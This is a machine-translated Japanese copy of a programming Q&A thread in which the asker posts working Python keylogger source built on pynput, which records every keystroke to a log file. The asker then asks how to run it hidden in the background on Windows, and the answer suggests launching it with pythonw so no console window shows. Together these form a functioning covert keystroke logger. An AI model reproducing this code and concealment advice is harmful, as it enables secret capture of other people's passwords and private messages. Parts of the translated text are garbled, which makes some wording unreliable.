2017-12-02 27 views
0

私はPython 3.6を実行しています。私はVMでテストするためにキーロガーを作っています。私はpyinstallerを使ってキーロガーを実行可能ファイルに変換しました。キーロガーは素晴らしいですが、私はそれを実行すると、黒いウィンドウを開き、私はそれを閉じると、プログラムを停止します。私はバックグラウンドで実行可能ファイルを実行できるようにしたい。バックグラウンドで実行可能なpythonスクリプトを実行するには

EDIT:あなたは任意のコンソールウィンドウはウィンドウの下に明朝にしたくない場合は、私は、Windows 10

from pynput.keyboard import Key, Listener 
import logging 

log_dir = '' 

logging.basicConfig(filename=(log_dir + "key_log.txt"), level=logging.DEBUG, 
format='%(asctime)s: %(message)s') 

def on_press(key): 
    logging.info(str(key)) 

with Listener(on_press=on_press) as listener: 
    listener.join() 
+0

はあなたが使用しているOS教えていただけますでしょうか?ほとんどのOSでは、サービスとして起動時に何かを起動する方法があります...また、コードが長すぎない場合は、それを投稿したり、libsが使用されていることを知らせてください(任意のUI?) – urban

+0

ただ編集しました投稿 –

+0

あなたは 'threading'モジュールを使うことができました – AJ123

答えて

0

使用しています。 start Windowsでは、pythonwで実行してください。ホットキーはWindows + r

pythonw C:\Users\yourUser\Desktop\hidden.py 

enter image description here

+0

私はPythonファイルを実行しているので、これを実行します。仮に、これをPythonなしでコンピュータで実行したいのであれば、実行可能にする必要があります。その実行可能ファイルの場合。 –

関連する問題